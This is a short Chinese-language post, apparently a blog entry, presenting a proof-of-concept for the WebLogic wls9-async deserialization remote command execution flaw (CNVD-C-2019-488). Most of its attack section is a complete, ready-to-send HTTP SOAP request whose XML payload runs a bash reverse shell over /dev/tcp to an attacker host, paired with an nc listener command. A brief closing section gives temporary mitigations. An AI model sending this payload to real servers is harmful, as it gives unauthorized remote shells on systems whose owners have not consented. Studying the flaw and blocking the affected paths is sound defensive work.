WebLogic wls9-async反序列化远程命令执行漏洞POC测试(CNVD-C-2019-488)

CNVD告警链接:http://www.cnvd.org.cn/webinfo/show/4999

0x00:漏洞情况分析

WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

wls9-async组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

CNVD对该漏洞的综合评级为“高危”。

0x01: 漏洞影响范围

该漏洞的影响版本如下:
WebLogic 10.X
WebLogic 12.1.3

0x02:测试过程

攻击机器:

nc -lvvp 1234

目标机器:

http://172.xx:7001/_async/AsyncResponseService
http://172.xxx:7001/wls-wsat/CoordinatorPortType

漏洞攻击POC:

POST /_async/AsyncResponseService HTTP/1.1
Host: 172.xxx:7001
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.xxx/1234 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

在burp中发送此Poc,攻击机器弹回shell。

《WebLogic wls9-async反序列化远程命令执行漏洞POC测试(CNVD-C-2019-488)》

0x03、漏洞处置建议

目前,Oracle官方暂未发布补丁,临时解决方案如下:
1、 删除该war包并重启WebLogic服务;
2、 通过访问策略控制禁止 /_async/* 及 /wls-wsat/* 路径的URL访问。
建议使用WebLogic Server构建网站的信息系统运营者进行自查,发现存在漏洞后,按照临时解决方案及时进行修复。

点赞